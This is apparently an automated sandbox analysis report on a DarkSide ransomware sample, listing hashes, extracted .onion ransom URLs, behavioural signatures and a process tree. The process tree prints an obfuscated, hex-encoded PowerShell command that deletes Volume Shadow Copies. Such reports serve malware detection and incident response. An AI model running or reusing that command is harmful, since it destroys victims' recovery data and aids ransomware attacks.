Analysis
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max time kernel
44s -
max time network
120s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
12-05-2021 17:39
Static task
static1
Behavioral task
behavioral1
Sample
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Resource
win10v20210410
General
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Target
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
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Size
226KB
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MD5
c81dae5c67fb72a2c2f24b178aea50b7
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SHA1
4bd6437cd1dc77097a7951466531674f80c866c6
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SHA256
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a
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SHA512
30d63e080f37f34fb29fd46f8fb1572d79f645154a002c8da5914ae3d51e224bc60601f91f5d58ac2ce9f81d56a8ad467d7fde55d429ed269df3c196e6687b2c
Malware Config
Extracted
C:\\README.c881ce8f.TXT
darkside
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 4 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\ExportBlock.raw.c881ce8f 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe File renamed C:\Users\Admin\Pictures\SelectUnpublish.crw => C:\Users\Admin\Pictures\SelectUnpublish.crw.c881ce8f 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe File opened for modification C:\Users\Admin\Pictures\SelectUnpublish.crw.c881ce8f 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe File renamed C:\Users\Admin\Pictures\ExportBlock.raw => C:\Users\Admin\Pictures\ExportBlock.raw.c881ce8f 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepid process 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepowershell.exepid process 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe 4068 powershell.exe 4068 powershell.exe 4068 powershell.exe 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeSecurityPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeTakeOwnershipPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeLoadDriverPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeSystemProfilePrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeSystemtimePrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeProfSingleProcessPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeIncBasePriorityPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeCreatePagefilePrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeBackupPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeRestorePrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeShutdownPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeDebugPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeSystemEnvironmentPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeRemoteShutdownPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeUndockPrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeManageVolumePrivilege 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: 33 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: 34 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: 35 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: 36 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe Token: SeDebugPrivilege 4068 powershell.exe Token: SeBackupPrivilege 2848 vssvc.exe Token: SeRestorePrivilege 2848 vssvc.exe Token: SeAuditPrivilege 2848 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exedescription pid process target process PID 3176 wrote to memory of 4068 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe powershell.exe PID 3176 wrote to memory of 4068 3176 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe"C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe"1⤵
- Modifies extensions of user files
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\winver.exe"C:\Windows\System32\winver.exe"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
010c219c46b4439bc787644989e20389
SHA1f3a63066ab4446458bd6417386777e39e09b9b25
SHA2562a7c264d94398912c720de578b6d959b2457582182b8f2cc98281f27ef6701aa
SHA512c6967d2a37b9a45f491138b638d99e5fa09ef38f680c887bfbc2336c683deae86f4d6626f6defc8c0aabccf545923a708df05825de8102086a8f333a58e74963
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
06a2c2252c00405c431d20e250edefca
SHA1df70955cb088807c2693f01206788a4a1d7128d4
SHA256059470ff441b7aa4a55ac135ce680afe1d5a9ffdf8c4d0ce99f7d9609a87d192
SHA512bd7da90791b5a3b7efd6c660051a619551ac35ba6e16ccc56faa3f388eae79816c5e224213b91cf7b76ea1815caeb16f95a0e9b2ba54b8cfb536b378d94380f3
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memory/3176-114-0x0000000000560000-0x0000000000561000-memory.dmpFilesize
4KB
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memory/3176-118-0x0000000000580000-0x00000000006CA000-memory.dmpFilesize
1.3MB
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memory/3176-120-0x00000000021D0000-0x00000000021D1000-memory.dmpFilesize
4KB
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memory/4068-115-0x0000000000000000-mapping.dmp
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memory/4068-122-0x0000022719640000-0x0000022719641000-memory.dmpFilesize
4KB
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memory/4068-127-0x0000022731C70000-0x0000022731C71000-memory.dmpFilesize
4KB
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memory/4068-136-0x0000022731950000-0x0000022731952000-memory.dmpFilesize
8KB
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memory/4068-138-0x0000022731956000-0x0000022731958000-memory.dmpFilesize
8KB
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memory/4068-137-0x0000022731953000-0x0000022731955000-memory.dmpFilesize
8KB